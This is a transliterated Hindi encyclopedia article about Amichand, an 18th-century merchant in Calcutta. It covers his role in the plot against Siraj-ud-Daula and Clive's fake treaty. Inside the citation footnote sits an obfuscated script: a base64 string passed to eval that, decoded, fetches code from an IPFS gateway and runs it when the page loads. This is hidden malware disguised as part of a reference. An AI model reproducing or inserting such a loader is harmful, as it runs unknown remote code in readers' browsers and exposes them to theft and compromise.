अमीचन्द
amichand (mrityu 1767 ee.), sanbhavat: vastavik nam amirachand ka bangali uchcharan hai. amichand ek dhani kintu dhoort seth tha, jo 18vian shatabdi ke madhy mean kalakatta mean rahata tha.
parichay
amichand (amirachand) vastut: amritasar ka rahanevala sikkh vyavasayi tha aur dirgh kal se kalakatta mean bas gaya tha. samayik aangrejoan ne tatha unhian ke adhar par itihasakar mekale ne use bangali bataya hai. kiantu aangrejoan ke prabhutv ka prasar sarvapratham dakshin mean hua, kiantu aangreji samrajy ke sansthapan ki nianv bangal mean hi p di.
aangrejoan ki sahayata
bangal mean vyavasayalabh ki bhavana se prerit hokar aangrejoan ke sarvapratham sanpark mean anevale bharatiy vyavasayi hi the. alivardi khaan ke kathor niyantran mean to aangrej apane prabhutv ka vistar karane mean asamarth rahe, kiantu alpavayask, aparipakvabuddhi tatha uddhataprakriti sirajuddaula ke rajyarohan se yah sanbhav ho saka. kootanitijnata ke drishtikon se vaidh ya avaidh upayoan se, aangrejoan ke samoohik tatha vyaktigat labh ki abhivriddhi ke lie, sirajuddaula ke rajyarohan ke bad usake prabhutv ka daman kar avyavasthit shasan ko aur bhi avyavasthit banana tatkalin aangrejoan ki drishti se vaanchhaniy tha. is ghatanakram mean sirajuddaula ne aangrejoan ke mukhy vyavasayik keandr kalakatta par akraman karane ka nishchay kiya. is akraman ke poorv aangrejoan ne keval sandeh ke adhar par amichand ko bandi banane ke lie sipahi bheje. sipahiyoan ne amichand ke aant:pur par akraman kar diya. apamanit hone se bachane ke lie aant:pur mean usane apani 13 patniyoan ki hatya kar di. aise marmatak apaman ke hone par bhi nitaant svarth labh se prerit hokar amichand ne aangrejoan ki yathesht sahayata ki. kalakatta patan ke bad usane anek aangrej sharanarthiyoan ko ashray diya tatha any prakaroan se bhi sahayata pradan ki. kiantu, itihas mean usaka nam aparichit hi rahata yadi plasi yuddh ke poorv klaiv ke anaitik acharan se ianglaiand ki parliyameant mean tatha aangrej itihasakaroan dvara klaiv ke kary ki katu alochana n huee hoti. amichand ne aangrejoan ke vyavasayik sanpark mean akar yathesht dhan arjit kar liya tha. klaiv ne amichand ko vatsan ka doot banakar navab ki rajadhani murshidabad bheja. is sthiti mean usane aangrejoan ka sath diya. sanbhavat:, chandranagar par aangrejoan ke akraman ke lie navab se anumati dilavane mean amichand ka hi hath tha. usi ne navab ke pramukh adhikari maharaj nandakumar ko sirajuddaula se vimukh kar aangrejoan ka taraphadar banaya.
sirajuddaula ke viruddh sh dyantr tatha aangrejoan se dhan ki maang
amichand ne navab sirajuddaula ko apadasth kar mir zafar ko bangal ka navab banane ke lie kalakatta mean aangrezoan aur murshidabad mean navab ke virodhiyoan ke bich gupt vartaean chalaeean. jab yah gupt vartaean kafi age badh chukian aur navab sirajuddaula ke viruddh sh dayantr mean aangrezoan ki poorn bhagidari spasht ho chuki, tab amichand ne murshidabad mean navab ke khajane ki loot se prapt hone vale dhan se lambe kamishan ki maang ki tatha yah dhamaki di ki yadi use vaanchhit dhanarashi nahian di gee to vah navab ko sare sh dayantr ki soochana de dega.
mrityu
bangal ke navab sirajuddaula ke viruddh jagataseth mirajafar ke sath aangrejoan ne jis gupt shadyantr ka ayojan kiya tha usamean bhi amichand ka bahut b da hath tha. bad mean, jab klaiv ke sath mirajaphar ki sandhi varta chal rahi thi, amichand ne aangrejoan ko dhamaki di ki yadi sirajuddaula ki padachyuti ke bad prapt khajane ka paanch pratishat use n diya jaega to vah sab bhed navab par prakat kar dega. amichand ko viphalaprayatn karane ke lie do sandhipatr taiyar kie ge. ek nakali, jisamean amichand ko paanch pratishat bhag dena svikar kiya gaya tha, tatha doosara asali, jisamean yah aansh chho d diya gaya tha. aidamiral vatsan ne nakali sandhipatr par hastakshar karane se inakar kar diya, tab klaiv ne usapar vatsan ke hastakshar nakal kar, vah nakali sandhipatr amichand ko dikha, use ashvast kar diya. samayik itihasakar ormi ka kathan hai ki sirajuddaula ki padachyuti ke bad jab vastavik sthiti amichand ko bataee gee to is aghat se usaka mastishk vikrit ho gaya tatha kuchh samay uparaant usaki mrityu ho gee. kiantu, itihasakar bevarij ke matanusar vah das varsh aur jivit raha. aangrejoan se usake sanpark bane rahe jisaka praman yah hai ki usane phauandliang aspatal ko do hajar pauand dan die jisaki bhitti par 'kalakatte ke kale vyavasayi' ki sahayata svikrit hai. usane landan ke megdalen aspatal ko bhi dan diya tha.[1]
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tika tippani aur sandarbh
(pustak 'bharatiy itihas kosh') prishth sankhya-14
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 205 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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